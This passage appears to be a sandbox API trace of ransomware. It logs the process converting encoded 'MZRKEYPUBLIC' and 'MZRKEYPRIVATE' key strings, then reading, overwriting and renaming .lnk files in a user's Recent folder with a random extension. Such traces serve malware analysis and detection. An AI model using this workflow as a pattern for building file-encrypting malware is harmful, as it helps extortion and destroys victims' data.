lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.571] GetCurrentThreadId () returned 0xa30 [0081.571] GetCurrentThreadId () returned 0xa30 [0081.571] GetCurrentThreadId () returned 0xa30 [0081.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I3bWl8wArAF2fKrlEE.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i3bwl8waraf2fkrlee.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.571] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.571] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.571] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x150e [0081.572] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.572] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x150e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x150e, lpOverlapped=0x0) returned 1 [0081.573] CloseHandle (hObject=0x124) returned 1 [0081.574] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I3bWl8wArAF2fKrlEE.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i3bwl8waraf2fkrlee.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.576] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x150e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x150e, lpOverlapped=0x0) returned 1 [0081.579] CloseHandle (hObject=0x124) returned 1 [0081.580] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I3bWl8wArAF2fKrlEE.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i3bwl8waraf2fkrlee.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I3bWl8wArAF2fKrlEE.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i3bwl8waraf2fkrlee.mkv.lnk.zv7un")) returned 1 [0081.582] GetCurrentThreadId () returned 0xa30 [0081.582] GetCurrentThreadId () returned 0xa30 [0081.582] GetCurrentThreadId () returned 0xa30 [0081.582] GetCurrentThreadId () returned 0xa30 [0081.582] GetCurrentThreadId () returned 0xa30 [0081.582] GetCurrentThreadId () returned 0xa30 [0081.582] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d358d60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d358d60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d358d60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe3e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="I9T1DkViXh.mkv.lnk", cAlternateFileName="I9T1DK~1.LNK")) returned 1 [0081.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I9T1DkViXh.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i9t1dkvixh.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d358d60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d358d60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d358d60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe3e)) returned 1 [0081.582] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I9T1DkViXh.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i9t1dkvixh.mkv.lnk")) returned 0x20 [0081.582] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I9T1DkViXh.mkv.lnk", dwFileAttributes=0x80) returned 1 [0081.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.585] GetCurrentThreadId () returned 0xa30 [0081.585] GetCurrentThreadId () returned 0xa30 [0081.585] GetCurrentThreadId () returned 0xa30 [0081.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.586] GetCurrentThreadId () returned 0xa30 [0081.586] GetCurrentThreadId () returned 0xa30 [0081.586] GetCurrentThreadId () returned 0xa30 [0081.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I9T1DkViXh.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i9t1dkvixh.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.587] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.587] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.587] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe3e [0081.587] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.587] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe3e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe3e, lpOverlapped=0x0) returned 1 [0081.588] 